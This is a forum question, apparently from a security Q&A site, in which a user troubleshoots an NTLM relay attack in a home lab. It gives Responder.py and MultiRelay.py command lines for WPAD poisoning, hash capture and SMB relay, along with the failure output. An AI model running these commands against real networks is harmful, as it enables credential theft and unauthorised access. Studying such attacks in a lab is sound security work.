I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:

Kali Box:
Domain:             none
Victim I'm trying to relay:
Logged on as user:  Lenovo (local administrator)
Password:           randompwd
Domain:             WORKGROUP
SMB Signing:        False
Target machine I've set up:
Logged on as user:  Lenovo (local administrator)
Password:           *blank*
Domain:             WORKGROUP
SMB Signing:        False

I've already captured the NTLMv2 hash from victim "Lenovo" using Responder with wpad flag:

./Responder.py -I eth0 -wF

Now using multirelay.py to relay the credentials to my target machine, together with Responder (responder now turned off SMB and HTTP):

./MultiRelay.py -t -u ALL ./Responder.py -I eth0 -rv

When trying to reach a typo share (\pintsrv) or open Chrome on victim machine, I get this in multirelay:

Retrieving information for
SMB signing: False
Os version: 'Windows 10 Enterprise Evaluation 17763'
Hostname: 'WIN10ENT'
Part of the 'WORKGROUP' domain
[+] Setting up SMB relay with SMB challenge: 365dd8eebd4d562c
[+] Received NTLMv2 hash from: False
[+] Username: Lenovo is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Relay failed, Logon Failure. This user doesn't have an account on this target.
[+] Hashes were saved anyways in Responder/logs/ folder.
[+] User LAPTOP-LM6B6B6B\Lenovo previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout

If I go ahead and actually set the password I'm looking for (randompwd) on my target machine "Lenovo" user (this shouldn't be necessary right?), I get this in multirelay:

[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.

So what am I missing?

  • Hello and welcome fredz, please take some time to read through 'Asking' in the help center, avoid asking questions about specific tool usage, "help me do X", "in my homework I was asked to do Y", etc. remember to ask questions about security and you'll get a faster response or try in a forum to get opinions and suggestions. – Azteca May 22 at 17:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.